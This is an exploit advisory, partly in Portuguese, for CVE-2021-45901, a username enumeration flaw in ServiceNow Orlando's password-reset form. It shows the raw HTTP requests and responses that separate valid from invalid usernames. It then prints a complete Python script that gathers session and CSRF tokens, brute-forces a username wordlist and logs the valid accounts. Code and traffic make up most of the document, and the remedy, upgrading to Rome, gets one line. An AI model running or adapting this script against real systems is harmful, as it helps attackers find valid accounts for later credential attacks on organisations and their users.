
Exploit automatizado de enumeração de nomes de usuário para ServiceNow (CVE-2021-45901) usando detecção de discrepância na resposta HTTP através do formulário de redefinição de senha.

enumSNOWUsers.py - Enumerador de Usuários SNOW
Vulnerabilidade de Enumeração de Nomes de Usuário encontrada no ServiceNow
Publicado: Versão: 1.0
Fornecedor: ServiceNow
Produto: ServiceNow (https://www.servicenow.com/)
Versão afetada: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
A ServiceNow é uma empresa americana de software sediada em Santa Clara, Califórnia, que desenvolve uma plataforma de computação em nuvem para ajudar empresas a gerenciar fluxos de trabalho digitais para operações empresariais.
Enumeração de Nomes de Usuário (Não Autenticada)
CVE: CVE-2021-45901
CWE: CWE-200: Exposição de Informações Sensíveis a um Ator Não Autorizado
A vulnerabilidade descoberta no ServiceNow (Orlando) permite a enumeração bem-sucedida de nomes de usuário, utilizando uma lista de palavras. Usando uma sessão não autenticada e navegando para o formulário de redefinição de senha, é possível inferir um nome de usuário válido. Isso é alcançado através do exame dos dados de resposta HTTP POST inicialmente acionados pelo formulário web de redefinição de senha. Esta resposta difere dependendo da existência do nome de usuário. NOTA: Para automatizar este processo, são necessários um Cookie de Sessão válido (JSESSIONID), Token CSRF (pwd_csrf_token) e X-UserToken (X-UserToken). Todos esses objetos podem ser recuperados do código do lado do cliente.
CWE-203: Discrepância Observável
O seguinte ilustra as discrepâncias observáveis nos Dados de Resposta HTTP POST, usados para inferir um nome de usuário válido vs não válido.
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
Atualizar para "Rome"
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid
1. JSESSION (anonymous)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Decription: SNOW Username Enumerator |")
print ("| Usage : "+sys.argv[0]+" |")
print ("| Prequisite: \'users.txt\' needs to contain list of users |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] Brute forcing ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] Connection to host timed out !")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Victor Hanna da Exploit Security